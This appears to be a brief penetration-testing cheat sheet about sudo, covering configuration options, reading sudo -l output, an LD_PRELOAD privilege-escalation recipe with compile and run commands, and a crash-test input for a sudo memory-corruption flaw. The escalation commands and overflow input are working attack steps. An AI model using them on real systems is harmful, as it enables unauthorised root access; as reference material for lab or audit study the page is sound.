Configuration options

env_reset: Resets the envi­ron­ment to default con­fig­ured in /etc/environment.

env_keep: Adds envi­ron­ment vari­ables which are addi­tion­al­ly allowed. If LD_PRELOAD is in there, see below.

mail_badpass: Sends an email to the admin if a user failed to pro­vide a sudo password.

secure_path: Sets the PATH envi­ron­ment vari­able to the giv­en paths.

Configurations

Some­thing like the fol­low­ing from sudo ‑l means that the user www-data may exe­cute com­mands as user script­man­ag­er with sudo -u scriptmanager whoami.

User www-data may run the fol­low­ing com­mands on bashed:
(script­man­ag­er : script­man­ag­er) NOPASSWD: ALL

LD_PRELOAD exploitation

If LD_PRELOAD is allowed for sudo com­mands, then a library can be (cre­at­ed an) loaded before the command.

1. Cre­ate a library file like escape_ld_preload.c
2. Com­pile it as library:
   gcc -fPIC -shared -nostartfiles -o escape_ld_preload.so escape_ld_preload.c
3. Append it to a sudo-enabled com­mand:
   sudo LD_PRELOAD=/tmp/escape_ld_preload.so passwd

CVE-2019–18634

Vul­ner­a­ble if this cre­at­ed a mem­o­ry corruption:

$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): memory corruption
Aborted (core dumped)